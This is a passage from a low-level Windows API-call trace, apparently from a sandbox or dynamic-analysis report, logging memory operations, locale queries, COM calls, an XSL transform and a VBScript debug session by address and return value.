out: _Dst=0x22c538) returned 0x22c538 [0151.211] memcpy (in: _Dst=0x22ebf8, _Src=0x2271e8, _Size=0x30 | out: _Dst=0x22ebf8) returned 0x22ebf8 [0151.211] memcpy (in: _Dst=0x22ec28, _Src=0x227224, _Size=0x3d | out: _Dst=0x22ec28) returned 0x22ec28 [0151.211] memcpy (in: _Dst=0x22ec65, _Src=0x227274, _Size=0x40 | out: _Dst=0x22ec65) returned 0x22ec65 [0151.211] memcpy (in: _Dst=0x22eca5, _Src=0x2272c4, _Size=0x40 | out: _Dst=0x22eca5) returned 0x22eca5 [0151.211] memcpy (in: _Dst=0x22ece5, _Src=0x227314, _Size=0x6 | out: _Dst=0x22ece5) returned 0x22ece5 [0151.211] memcpy (in: _Dst=0x22ecf0, _Src=0x227370, _Size=0x38 | out: _Dst=0x22ecf0) returned 0x22ecf0 [0151.211] memcpy (in: _Dst=0x22ed28, _Src=0x2273b4, _Size=0x14 | out: _Dst=0x22ed28) returned 0x22ed28 [0151.211] memcpy (in: _Dst=0x22ed40, _Src=0x227410, _Size=0x48 | out: _Dst=0x22ed40) returned 0x22ed40 [0151.211] memcpy (in: _Dst=0x22ed88, _Src=0x227464, _Size=0x3f | out: _Dst=0x22ed88) returned 0x22ed88 [0151.211] memcpy (in: _Dst=0x22edc7, _Src=0x22750c, _Size=0x14 | out: _Dst=0x22edc7) returned 0x22edc7 [0151.211] memcpy (in: _Dst=0x22ede0, _Src=0x227568, _Size=0x30 | out: _Dst=0x22ede0) returned 0x22ede0 [0151.211] memcpy (in: _Dst=0x22ee10, _Src=0x2275a4, _Size=0x29 | out: _Dst=0x22ee10) returned 0x22ee10 [0151.211] memcpy (in: _Dst=0x22ee40, _Src=0x227600, _Size=0x90 | out: _Dst=0x22ee40) returned 0x22ee40 [0151.211] memcpy (in: _Dst=0x22eed0, _Src=0x22769c, _Size=0x3e | out: _Dst=0x22eed0) returned 0x22eed0 [0151.211] memcpy (in: _Dst=0x22ef0e, _Src=0x2276fc, _Size=0x40 | out: _Dst=0x22ef0e) returned 0x22ef0e [0151.212] memcpy (in: _Dst=0x22ef4e, _Src=0x22774c, _Size=0x3f | out: _Dst=0x22ef4e) returned 0x22ef4e [0151.212] memcpy (in: _Dst=0x22ef8d, _Src=0x22779c, _Size=0x40 | out: _Dst=0x22ef8d) returned 0x22ef8d [0151.212] memcpy (in: _Dst=0x22efcd, _Src=0x227864, _Size=0x3d | out: _Dst=0x22efcd) returned 0x22efcd [0151.212] memcpy (in: _Dst=0x22f00a, _Src=0x2278c4, _Size=0x3f | out: _Dst=0x22f00a) returned 0x22f00a [0151.212] memcpy (in: _Dst=0x22f049, _Src=0x22793c, _Size=0x3f | out: _Dst=0x22f049) returned 0x22f049 [0151.212] memcpy (in: _Dst=0x22f088, _Src=0x22799c, _Size=0x3d | out: _Dst=0x22f088) returned 0x22f088 [0151.212] memcpy (in: _Dst=0x22f0c5, _Src=0x2279ec, _Size=0x3e | out: _Dst=0x22f0c5) returned 0x22f0c5 [0151.212] memcpy (in: _Dst=0x22f103, _Src=0x227a3c, _Size=0x3f | out: _Dst=0x22f103) returned 0x22f103 [0151.212] memcpy (in: _Dst=0x22f142, _Src=0x227a8c, _Size=0x3f | out: _Dst=0x22f142) returned 0x22f142 [0151.212] memcpy (in: _Dst=0x22f181, _Src=0x227adc, _Size=0x3d | out: _Dst=0x22f181) returned 0x22f181 [0151.212] memcpy (in: _Dst=0x22f1be, _Src=0x227b44, _Size=0x40 | out: _Dst=0x22f1be) returned 0x22f1be [0151.212] memcpy (in: _Dst=0x22f1fe, _Src=0x227bac, _Size=0x3f | out: _Dst=0x22f1fe) returned 0x22f1fe [0151.212] memcpy (in: _Dst=0x22f23d, _Src=0x227bfc, _Size=0x40 | out: _Dst=0x22f23d) returned 0x22f23d [0151.213] memcpy (in: _Dst=0x22f27d, _Src=0x227c4c, _Size=0x40 | out: _Dst=0x22f27d) returned 0x22f27d [0151.213] memcpy (in: _Dst=0x22f2bd, _Src=0x227c9c, _Size=0x40 | out: _Dst=0x22f2bd) returned 0x22f2bd [0151.213] memcpy (in: _Dst=0x22f2fd, _Src=0x227cec, _Size=0x40 | out: _Dst=0x22f2fd) returned 0x22f2fd [0151.213] memcpy (in: _Dst=0x22f33d, _Src=0x227d54, _Size=0x40 | out: _Dst=0x22f33d) returned 0x22f33d [0151.213] memcpy (in: _Dst=0x22f37d, _Src=0x227da4, _Size=0x40 | out: _Dst=0x22f37d) returned 0x22f37d [0151.213] memcpy (in: _Dst=0x22f3bd, _Src=0x227df4, _Size=0x3f | out: _Dst=0x22f3bd) returned 0x22f3bd [0151.213] memcpy (in: _Dst=0x22f3fc, _Src=0x227e44, _Size=0x40 | out: _Dst=0x22f3fc) returned 0x22f3fc [0151.213] memcpy (in: _Dst=0x22f43c, _Src=0x227e94, _Size=0x3e | out: _Dst=0x22f43c) returned 0x22f43c [0151.213] memcpy (in: _Dst=0x22f47a, _Src=0x227ee4, _Size=0x9 | out: _Dst=0x22f47a) returned 0x22f47a [0151.213] memcpy (in: _Dst=0x22f488, _Src=0x227f40, _Size=0x60 | out: _Dst=0x22f488) returned 0x22f488 [0151.214] memcpy (in: _Dst=0x22f4e8, _Src=0x227fac, _Size=0x40 | out: _Dst=0x22f4e8) returned 0x22f4e8 [0151.214] memcpy (in: _Dst=0x22f528, _Src=0x227ffc, _Size=0x40 | out: _Dst=0x22f528) returned 0x22f528 [0151.214] memcpy (in: _Dst=0x22f568, _Src=0x22804c, _Size=0x3d | out: _Dst=0x22f568) returned 0x22f568 [0151.214] memcpy (in: _Dst=0x22f5a5, _Src=0x22809c, _Size=0x40 | out: _Dst=0x22f5a5) returned 0x22f5a5 [0151.214] memcpy (in: _Dst=0x22f5e5, _Src=0x2280ec, _Size=0x3d | out: _Dst=0x22f5e5) returned 0x22f5e5 [0151.214] memcpy (in: _Dst=0x22f622, _Src=0x22813c, _Size=0x40 | out: _Dst=0x22f622) returned 0x22f622 [0151.214] memcpy (in: _Dst=0x22f662, _Src=0x22818c, _Size=0x40 | out: _Dst=0x22f662) returned 0x22f662 [0151.214] memcpy (in: _Dst=0x22f6a2, _Src=0x2281dc, _Size=0x40 | out: _Dst=0x22f6a2) returned 0x22f6a2 [0151.214] memcpy (in: _Dst=0x22f6e2, _Src=0x22822c, _Size=0x40 | out: _Dst=0x22f6e2) returned 0x22f6e2 [0151.214] memcpy (in: _Dst=0x22f722, _Src=0x22827c, _Size=0x3f | out: _Dst=0x22f722) returned 0x22f722 [0151.214] memcpy (in: _Dst=0x22f768, _Src=0x2282d8, _Size=0x48 | out: _Dst=0x22f768) returned 0x22f768 [0151.214] memcpy (in: _Dst=0x22f7b0, _Src=0x22832c, _Size=0x40 | out: _Dst=0x22f7b0) returned 0x22f7b0 [0151.214] memcpy (in: _Dst=0x22f7f0, _Src=0x22837c, _Size=0x3d | out: _Dst=0x22f7f0) returned 0x22f7f0 [0151.214] memcpy (in: _Dst=0x22f82d, _Src=0x2283cc, _Size=0x9 | out: _Dst=0x22f82d) returned 0x22f82d [0151.214] ??2@YAPEAX_K@Z () returned 0x15c8c0 [0151.216] free (_Block=0x21dfd0) [0151.217] free (_Block=0x15ddc0) [0151.217] ??3@YAXPEAX@Z () returned 0x44005200820001 [0151.217] free (_Block=0x15ef60) [0151.218] free (_Block=0x15f990) [0151.219] free (_Block=0x227820) [0151.219] free (_Block=0x223810) [0151.220] free (_Block=0x221800) [0151.221] free (_Block=0x2207f0) [0151.221] free (_Block=0x21ffe0) [0151.222] free (_Block=0x15f580) [0151.222] free (_Block=0x15f370) [0151.223] free (_Block=0x15a100) [0151.223] ??2@YAPEAX_K@Z () returned 0x15d6c0 [0151.223] ??2@YAPEAX_K@Z () returned 0x15ddc0 [0151.223] malloc (_Size=0x10) returned 0x15c8a0 [0151.223] memcpy (in: _Dst=0x15c8a0, _Src=0x20e960, _Size=0x10 | out: _Dst=0x15c8a0) returned 0x15c8a0 [0151.224] free (_Block=0x15dcf0) [0151.229] GetUserDefaultLCID () returned 0x409 [0151.230] GetACP () returned 0x4e4 [0151.230] ??3@YAXPEAX@Z () returned 0x440053007e0001 [0151.230] ISystemDebugEventFire:EndSession (This=0x479040) returned 0x0 [0151.230] IUnknown:Release (This=0x479040) returned 0x1 [0151.230] ??3@YAXPEAX@Z () returned 0x2690cf01 [0151.230] ??3@YAXPEAX@Z () returned 0x2690cf01 [0151.234] IUnknown:Release (This=0x479040) returned 0x0 [0151.235] DllRegisterServer () returned 0x0 [0151.236] XSLTemplate:IXSLTemplate:createProcessor (in: This=0x20a7620, ppProcessor=0x20ef20 | out: ppProcessor=0x20ef20*=0x20a8df0) returned 0x0 [0151.236] FreeThreadedDOMDocument:IUnknown:AddRef (This=0x20a71d0) returned 0x2 [0151.236] IXSLProcessor:put_input (This=0x20a8df0, input=0x20f160*(varType=0x9, wReserved1=0xf447, wReserved2=0x7fe, wReserved3=0x0, varVal1=0x20a71d0, varVal2=0x1)) returned 0x0 [0151.237] GetStdHandle (nStdHandle=0xfffffff5) returned 0x19c [0151.237] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x19c, lpConsoleScreenBufferInfo=0x20ee20 | out: lpConsoleScreenBufferInfo=0x20ee20) returned 0 [0151.238] GetStdHandle (nStdHandle=0xfffffff5) returned 0x19c [0151.238] GetFileType (hFile=0x19c) returned 0x3 [0151.238] IXSLProcessor:transform (in: This=0x20a8df0, pDone=0x20f1d8 | out: pDone=0x20f1d8*=0xffff) returned 0x0 [0151.258] GetCurrentThreadId () returned 0xfdc [0151.258] ??2@YAPEAX_K@Z () returned 0x15db90 [0151.258] ??2@YAPEAX_K@Z () returned 0x158740 [0151.258] GetCurrentThreadId () returned 0xfdc [0151.258] ??2@YAPEAX_K@Z () returned 0x15dc60 [0151.259] IsValidLocale (Locale=0x409, dwFlags=0x1) returned 1 [0151.259] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x20ec40, cchData=6 | out: lpLCData="1252") returned 5 [0151.259] IsValidCodePage (CodePage=0x4e4) returned 1 [0151.260] DllRegisterServer () returned 0x0 [0151.260] CoCreateInstance (in: rclsid=0x7fef468d5a8*(Data1=0x6c736db1, Data2=0xbd94, Data3=0x11d0, Data4=([0]=0x8a, [1]=0x23, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xb5, [6]=0x8e, [7]=0x10)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef468d5b8*(Data1=0x6c736dc1, Data2=0xab0d, Data3=0x11d0, Data4=([0]=0xa2, [1]=0xad, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x27, [7]=0xe8)), ppv=0x15da68 | out: ppv=0x15da68*=0x479040) returned 0x0 [0151.260] IUnknown:AddRef (This=0x479040) returned 0x2 [0151.260] GetCurrentProcessId () returned 0xfd8 [0151.260] GetCurrentThreadId () returned 0xfdc [0151.260] GetTickCount () returned 0xa69dd7 [0151.260] ISystemDebugEventFire:BeginSession (This=0x479040, guidSourceID=0x7fef468d5d8, strSessionName="VBScript:00004056:00004060:10919383") returned 0x0 [0151.261] GetCurrentThreadId () returned 0xfdc [0151.261] ??2@YAPEAX_K@Z () returned 0x15dcf0 [0151.262] ??2@YAPEAX_K@Z () returned 0x15c880 [0151.262] ??2@YAPEAX_K@Z () returned 0x15dd40 [0151.262] ISystemDebugEventFire:IsActive (This=0x479040) returned 0x1 [0151.265] malloc (_Size=0x988) returned 0x15ddf0 [0151.266] GetCurrentThreadId () returned 0xfdc [0151.266] DllRegisterServer () returned 0x0 [0151.266] ??2@YAPEAX_K@Z () returned 0x15e780 [0151.308] ??2@YAPEAX_K@Z () returned 0x15e7d0 [0151.308] malloc (_Size=0x80) returned 0x15e8d0 [0151.308] malloc (_Size=0x108) returned 0x15a100 [0151.308] memcpy (in: _Dst=0x15a148, _Src=0x22b868, _Size=0x1a | out: _Dst=0x15a148) returned 0x15a148 [0151.308] ??2@YAPEAX_K@Z () returned 0x15e960 [0151.309] memcpy (in: _Dst=0x15a1a8, _Src=0x22b88c, _Size=0xc | out: _Dst=0x15a1a8) returned 0x15a1a8 [0151.309] ??2@YAPEAX_K@Z () returned 0x15e9b0 [0151.310] malloc (_Size=0x208) returned 0x15ea00 [0151.310] memcpy (in: _Dst=0x15ea48, _Src=0x22b8a0, _Size=0x18 | out: _Dst=0x15ea48) returned 0x15ea48 [0151.310] ??2@YAPEAX_K@Z () returned 0x15ec10 [0151.310] memcpy (in: _Dst=0x15eaa0, _Src=0x22b8c0, _Size=0x14 | out: _Dst=0x15eaa0) returned 0x15eaa0 [0151.310] ??2@YAPEAX_K@Z () returned 0x15ec60 [0151.311] memcpy (in: _Dst=0x15eaf8, _Src=0x22b8dc, _Size=0x1c | out: _Dst=0x15eaf8) returned 0x15eaf8 [0151.311] ??2@YAPEAX_K@Z () returned 0x15ecb0 [0151.311] memcpy (in: _Dst=0x15eb58, _Src=0x22b900, _Size=0x14 | out: _Dst=0x15eb58) returned 0x15eb58 [0151.311] GetCurrentThreadId () returned 0xfdc [0151.312] memcpy (in: _Dst=0x15ebb0, _Src=0x22b91c, _Size=0xc | out: _Dst=0x15ebb0) returned 0x15ebb0 [0151.312] GetCurrentThreadId () returned 0xfdc [0151.312] malloc (_Size=0x408) returned 0x15ed00 [0151.312] memcpy (in: _Dst=0x15ed48, _Src=0x22b930, _Size=0x12 | out: _Dst=0x15ed48) returned 0x15ed48 [0151.312] GetCurrentThreadId () returned 0xfdc [0151.313] memcpy (in: _Dst=0x15eda0, _Src=0x22b94c, _Size=0xe | out: _Dst=0x15eda0) returned 0x15eda0 [0151.313] GetCurrentThreadId () returned 0xfdc [0151.313] memcpy (in: _Dst=0x15edf0, _Src=0x22b964, _Size=0x6 | out: _Dst=0x15edf0) returned 0x15edf0 [0151.313] GetCurrentThreadId () returned 0xfdc [0151.314] memcpy (in: _Dst=0x15ee38, _Src=0x22b974, _Size=0xc | out: _Dst=0x15ee38) returned 0x15ee38 [0151.314] GetCurrentThreadId () returned 0xfdc [0151.314] memcpy (in: _Dst=0x15ee88, _Src=0x22b988, _Size=0x12 | out: _Dst=0x15ee88) returned 0x15ee88 [0151.314] GetCurrentThreadId () returned 0xfdc [0151.315] memcpy (in: _Dst=0x15eee0, _Src=0x22b9a4, _Size=0x14 | out: _Dst=0x15eee0) returned 0x15eee0 [0151.315] GetCurrentThreadId () returned 0xfdc [0151.315] memcpy (in: _Dst=0x15ef38, _Src=0x22b9c0, _Size=0xa | out: _Dst=0x15ef38) returned 0x15ef38 [0151.315] GetCurrentThreadId () returned 0xfdc [0151.316] memcpy (in: _Dst=0x15ef88, _Src=0x22b9d4, _Size=0x1a | out: _Dst=0x15ef88) returned 0x15ef88 [0151.316] ??2@YAPEAX_K@Z () returned 0x15f110 [0151.530] GetCurrentThreadId () returned 0xfdc [0151.531] DllRegisterServer () returned 0x0 [0151.531] ??3@YAXPEAX@Z () returned 0x2690cf01 [0151.531] ISystemDebugEventFire:IsActive (This=0x479040) returned 0x1 [0151.532] GetCurrentThreadId () returned 0xfdc [0151.534] DllRegisterServer () returned 0x0 [0151.536] GetCurrentThreadId () returned 0xfdc [0151.536] realloc (_Block=0x0, _Size=0xc8) returned 0x15f5d0 [0151.536] memcpy (in: _Dst=0x15f5d0, _Src=0x7fef46a0800, _Size=0x10 | out: _Dst=0x15f5d0) returned 0x15f5d0 [0151.536] memcpy (in: _Dst=0x15f5e0, _Src=0x7fef468f2c8, _Size=0x6 | out: _Dst=0x15f5e0) returned 0x15f5e0 [0151.536] memcpy (in: _Dst=0x15f5e6, _Src=0x7fef468f2d0, _Size=0x18 | out: _Dst=0x15f5e6) returned 0x15f5e6 [0151.537] ??2@YAPEAX_K@Z () returned 0x1587c0 [0151.537] malloc (_Size=0x1008) returned 0x22f840 [0151.537] ??2@YAPEAX_K@Z () returned 0x15f6a0 [0151.537] malloc (_Size=0x2008) returned 0x230850 [0151.538] memcpy (in: _Dst=0x230884, _Src=0x27a19d0, _Size=0x18 | out: _Dst=0x230884) returned 0x230884 [0151.538] malloc (_Size=0x108) returned 0x15a210 [0151.538] memcpy (in: _Dst=0x2308d4, _Src=0x27a19ea, _Size=0x8 | out: _Dst=0x2308d4) returned 0x2308d4 [0151.538] ??3@YAXPEAX@Z () returned 0x2690cf01 [0151.538] malloc (_Size=0x208) returned 0x15f6a0 [0151.538] malloc (_Size=0x40) returned 0x15dd40 [0151.539] malloc (_Size=0x138) returned 0x15f8b0 [0151.539] memcpy (in: _Dst=0x15f8b0, _Src=0x20e520, _Size=0x30 | out: _Dst=0x15f8b0) returned 0x15f8b0 [0151.539] memcpy (in: _Dst=0x15f8e8, _Src=0x2308d4, _Size=0xa | out: _Dst=0x15f8e8) returned 0x15f8e8 [0151.539] memcpy (in: _Dst=0x15f8fc, _Src=0x230884, _Size=0x1a | out: _Dst=0x15f8fc) returned 0x15f8fc [0151.539] memcpy (in: _Dst=0x15f918, _Src=0x0, _Size=0x0 | out: _Dst=0x15f918) returned 0x15f918 [0151.539] memcpy (in: _Dst=0x15f918, _Src=0x15dd40, _Size=0x8 | out: _Dst=0x15f918) returned 0x15f918 [0151.539] memcpy (in: _Dst=0x15f928, _Src=0x20eae0, _Size=0x20 | out: _Dst=0x15f928) returned 0x15f928 [0151.539] memcpy (in: _Dst=0x15f948, _Src=0x15f5d0, _Size=0x30 | out: _Dst=0x15f948) returned 0x15f948 [0151.539] memcpy (in: _Dst=0x15f978, _Src=0x27a19d0, _Size=0x24 | out: _Dst=0x15f978) returned 0x15f978 [0151.539] memcpy (in: _Dst=0x15f9a0, _Src=0x15f6c0, _Size=0x30 | out: _Dst=0x15f9a0) returned 0x15f9a0 [0151.539] memcpy (in: _Dst=0x15f9d0, _Src=0x15f6fc, _Size=0x13 | out: _Dst=0x15f9d0) returned 0x15f9d0 [0151.539] ??2@YAPEAX_K@Z () returned 0x15c8e0 [0151.540] free (_Block=0x230850) [0151.542] free (_Block=0x22f840) [0151.542] ??3@YAXPEAX@Z () returned 0x44005400820001 [0151.542] free (_Block=0x15dd40) [0151.543] free (_Block=0x15f6a0) [0151.543] free (_Block=0x15a210) [0151.543] ??2@YAPEAX_K@Z () returned 0x15dd40 [0151.543] realloc (_Block=0x15c8a0, _Size=0x40) returned 0x15f6a0 [0151.543] memcpy (in: _Dst=0x15f6b0, _Src=0x20e9c0, _Size=0x10 | out: _Dst=0x15f6b0) returned 0x15f6b0 [0151.544] ??2@YAPEAX_K@Z () returned 0x15f6f0 [0151.544] ISystemDebugEventFire:IsActive (This=0x479040) returned 0x1 [0151.545] GetCurrentThreadId () returned 0xfdc [0151.545] DllRegisterServer () returned 0x0 [0151.546] memcpy (in: _Dst=0x15efe8, _Src=0x15f8e8, _Size=0xa | out: _Dst=0x15efe8) returned 0x15efe8 [0151.548] GetCurrentThreadId () returned 0xfdc [0151.548] DllRegisterServer () returned 0x0 [0151.548] ??3@YAXPEAX@Z () returned 0x2690cf01 [0151.548] ISystemDebugEventFire:IsActive (This=0x479040) returned 0x1 [0151.549] free (_Block=0x15f8b0) [0151.549] ??3@YAXPEAX@Z () returned 0x43010400540001 [0151.549] ??3@YAXPEAX@Z () returned 0x2690cf01 [0151.549] free (_Block=0x15f5d0) [0151.550] GetCurrentThreadId () returned 0xfdc [0151.550] realloc (_Block=0x0, _Size=0xc8) returned 0x15f5d0 [0151.550] memcpy (in: _Dst=0x15f5d0, _Src=0x7fef46a0800, _Size=0x10 | out: _Dst=0x15f5d0) returned 0x15f5d0 [0151.550] memcpy (in: _Dst=0x15f5e0, _Src=0x7fef468f2c8, _Size=0x6 | out: _Dst=0x15f5e0) returned 0x15f5e0 [0151.550] memcpy (in: _Dst=0x15f5e6, _Src=0x7fef468f2d0, _Size=0x18 | out: _Dst=0x15f5e6) returned 0x15f5e6 [0151.550] ??2@YAPEAX_K@Z () returned 0x1587c0 [0151.550] malloc (_Size=0x1008) returned 0x22f840 [0151.551] ??2@YAPEAX_K@Z () returned 0x15f6f0 [0151.551] malloc (_Size=0x2008) returned 0x230850 [0151.551] memcpy (in: _Dst=0x230884, _Src=0x27a1aa0, _Size=0x16 | out: _Dst=0x230884) returned 0x230884 [0151.551] malloc (_Size=0x108) returned 0x15a210 [0151.551] ??3@YAXPEAX@Z () returned 0x2690cf01 [0151.551] malloc (_Size=0x208) returned 0x15f6f0 [0151.551] malloc (_Size=0x40) returned 0x15dd40 [0151.551] malloc (_Size=0x110) returned 0x15f900 [0151.552] memcpy (in: _Dst=0x15f900, _Src=0x20e520, _Size=0x30 | out: _Dst=0x15f900) returned 0x15f900 [0151.552] memcpy (in: _Dst=0x15f938, _Src=0x230884, _Size=0x18 | out: _Dst=0x15f938) returned 0x15f938 [0151.552] memcpy (in: _Dst=0x15f950, _Src=0x0, _Size=0x0 | out: _Dst=0x15f950) returned 0x15f950 [0151.552] memcpy (in: _Dst=0x15f950, _Src=0x15dd40, _Size=0x8 | out: _Dst=0x15f950) returned 0x15f950 [0151.552] memcpy (in: _Dst=0x15f960, _Src=0x20eae0, _Size=0x20 | out: _Dst=0x15f960) returned 0x15f960 [0151.552] memcpy (in: _Dst=0x15f980, _Src=0x15f5d0, _Size=0x30 | out: _Dst=0x15f980) returned 0x15f980 [0151.552] memcpy (in: _Dst=0x15f9b0, _Src=0x27a1aa0, _Size=0x1a | out: _Dst=0x15f9b0) returned 0x15f9b0 [0151.552] memcpy (in: _Dst=0x15f9d0, _Src=0x15f710, _Size=0x30 | out: _Dst=0x15f9d0) returned 0x15f9d0 [0151.552] memcpy (in: _Dst=0x15fa00, _Src=0x15f74c, _Size=0xe | out: _Dst=0x15fa00) returned 0x15fa00 [0151.552] ??2@YAPEAX_K@Z () returned 0x15c8e0 [0151.553] free (_Block=0x230850) [0151.553] free (_Block=0x22f840) [0151.553] ??3@YAXPEAX@Z () returned 0x44005500820001 [0151.553] free (_Block=0x15dd40) [0151.553] free (_Block=0x15f6f0) [0151.554] free (_Block=0x15a210) [0151.554] ??2@YAPEAX_K@Z () returned 0x15dd40 [0151.554] memcpy (in: _Dst=0x15f6b0, _Src=0x20e9c0, _Size=0x10 | out: _Dst=0x15f6b0) returned 0x15f6b0 [0151.554] ??2@YAPEAX_K@Z () returned 0x15f6f0 [0151.555] ISystemDebugEventFire:IsActive (This=0x479040) returned 0x1 [0151.555] GetCurrentThreadId () returned 0xfdc [0151.555] DllRegisterServer () returned 0x0 [0151.558] GetCurrentThreadId () returned 0xfdc [0151.558] DllRegisterServer () returned 0x0 [0151.558] ??3@YAXPEAX@Z () returned 0x2690cf01 [0151.558] ISystemDebugEventFire:IsActive (This=0x479040) returned 0x1 [0151.559] free (_Block=0x15f900) [0151.559] ??3@YAXPEAX@Z () returned 0x43010500540001 [0151.559] ??3@YAXPEAX@Z () returned 0x2690cf01 [0151.559] free (_Block=0x15f5d0) [0151.559] GetCurrentThreadId () returned 0xfdc [0151.559] realloc (_Block=0x0, _Size=0xc8) returned 0x15f5d0 [0151.559] memcpy (in: _Dst=0x15f5d0, _Src=0x7fef46a0800, _Size=0x10 | out: _Dst=0x15f5d0) returned 0x15f5d0 [0151.560] memcpy (in: _Dst=0x15f5e0, _Src=0x7fef468f2c8, _Size=0x6 | out: _Dst=0x15f5e0) returned 0x15f5e0 [0151.560] memcpy (in: _Dst=0x15f5e6, _Src=0x7fef468f2d0, _Size=0x18 | out: _Dst=0x15f5e6) returned 0x15f5e6 [0151.560] ??2@YAPEAX_K@Z () returned 0x1587c0 [0151.560] malloc (_Size=0x1008) returned 0x22f840 [0151.560] ??2@YAPEAX_K@Z () returned 0x15f6f0 [0151.560] malloc (_Size=0x2008) returned 0x230850 [0151.560] memcpy (in: _Dst=0x230884, _Src=0x27a1c50, _Size=0x12 | out: _Dst=0x230884) returned 0x230884 [0151.560] malloc (_Size=0x108) returned 0x15a210 [0151.561] memcpy (in: _Dst=0x2308cc, _Src=0x27a1c64, _Size=0x8 | out: _Dst=0x2308cc) returned 0x2308cc [0151.561] ??3@YAXPEAX@Z () returned 0x2690cf01 [0151.561] malloc (_Size=0x208) returned 0x15f6f0 [0151.561] malloc (_Size=0x40) returned 0x15dd40 [0151.561] malloc (_Size=0x128) returned 0x15f900 [0151.561] memcpy (in: _Dst=0x15f900, _Src=0x20e520, _Size=0x30 | out: _Dst=0x15f900) returned 0x15f900 [0151.561] memcpy (in: _Dst=0x15f938, _Src=0x2308cc, _Size=0xa | out: _Dst=0x15f938) returned 0x15f938 [0151.561] memcpy (in: _Dst=0x15f94c, _Src=0x230884, _Size=0x14 | out: _Dst=0x15f94c) returned 0x15f94c [0151.561] memcpy (in: _Dst=0x15f960, _Src=0x0, _Size=0x0 | out: _Dst=0x15f960) returned 0x15f960 [0151.561] memcpy (in: _Dst=0x15f960, _Src=0x15dd40, _Size=0x8 | out: _Dst=0x15f960) returned 0x15f960 [0151.561] memcpy (in: _Dst=0x15f970, _Src=0x20eae0, _Size=0x20 | out: _Dst=0x15f970) returned 0x15f970 [0151.562] memcpy (in: _Dst=0x15f990, _Src=0x15f5d0, _Size=0x30 | out: _Dst=0x15f990) returned 0x15f990 [0151.562] memcpy (in: _Dst=0x15f9c0, _Src=0x27a1c50, _Size=0x1e | out: _Dst=0x15f9c0) returned 0x15f9c0 [0151.562] memcpy (in: _Dst=0x15f9e0, _Src=0x15f710, _Size=0x30 | out: _Dst=0x15f9e0) returned 0x15f9e0 [0151.562] memcpy (in: _Dst=0x15fa10, _Src=0x15f74c, _Size=0x13 | out: _Dst=0x15fa10) returned 0x15fa10 [0151.562] ??2@YAPEAX_K@Z () returned 0x15c8e0 [0151.563] free (_Block=0x230850) [0151.563] free (_Block=0x22f840) [0151.563] ??3@YAXPEAX@Z () returned 0x44005600820001 [0151.563] free (_Block=0x15dd40) [0151.564] free (_Block=0x15f6f0) [0151.564] free (_Block=0x15a210) [0151.564] ??2@YAPEAX_K@Z () returned 0x15dd40 [0151.564] memcpy (in: _Dst=0x15f6b0, _Src=0x20e9c0, _Size=0x10 | out: _Dst=0x15f6b0) returned 0x15f6b0 [0151.565] ??2@YAPEAX_K@Z () returned 0x15f6f0 [0151.565] ISystemDebugEventFire:IsActive (This=0x479040) returned 0x1 [0151.566] GetCurrentThreadId () returned 0xfdc [0151.566] DllRegisterServer () returned 0x0 [0151.568] IUnknown:QueryInterface (in: This=0x20b4340, riid=0x7fef468d588*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x20d8c0 | out: ppvObject=0x20d8c0*=0x20b4370) returned 0x0 [0151.568] IUnknown:Release (This=0x20b4340) returned 0x1 [0151.568] IUnknown:QueryInterface (in: This=0x20b4370, riid=0x7fef468d588*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x20dbc0 | out: ppvObject=0x20dbc0*=0x20b4370) returned 0x0 [0151.569] IDispatchEx:GetDispId (in: This=0x20b4370, bstrName="GetNamedItem", grfdex=0x8, pid=0x20db28 | out: pid=0x20db28*=83) returned 0x0 [0151.569] IUnknown:Release (This=0x20b4370) returned 0x1 [0151.569] IUnknown:AddRef (This=0x20b4370) returned 0x2 [0151.569] IUnknown:QueryInterface (in: This=0x20b4370, riid=0x7fef468d588*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x20d8b0 | out: ppvObject=0x20d8b0*=0x20b4370) returned 0x0 [0151.569] ??2@YAPEAX_K@Z () returned 0x15f740 [0151.570] IDispatchEx:InvokeEx (in: This=0x20b4370, id=83, lcid=0x409, wFlags=0x3, pdp=0x20d888*(rgvarg=([0]=0x15e490*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="NAME", varVal2=0x21e758)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarRes=0x20dac8, pei=0x20d8d0, pspCaller=0x15f740 | out: pdp=0x20d888*(rgvarg=([0]=0x15e490*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="NAME", varVal2=0x21e758)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarRes=0x20dac8*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20aa280, varVal2=0x0), pei=0x20d8d0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0151.570] IUnknown:Release (This=0x20b4370) returned 0x2 [0151.570] IUnknown:Release (This=0x20b4370) returned 0x1 [0151.570] IUnknown:QueryInterface (in: This=0x20aa280, riid=0x7fef468d588*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x20d8c0 | out: ppvObject=0x20d8c0*=0x20aa2b0) returned 0x0 [0151.570] IUnknown:Release (This=0x20aa280) returned 0x1 [0151.570] IUnknown:QueryInterface (in: This=0x20aa2b0, riid=0x7fef468d588*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, 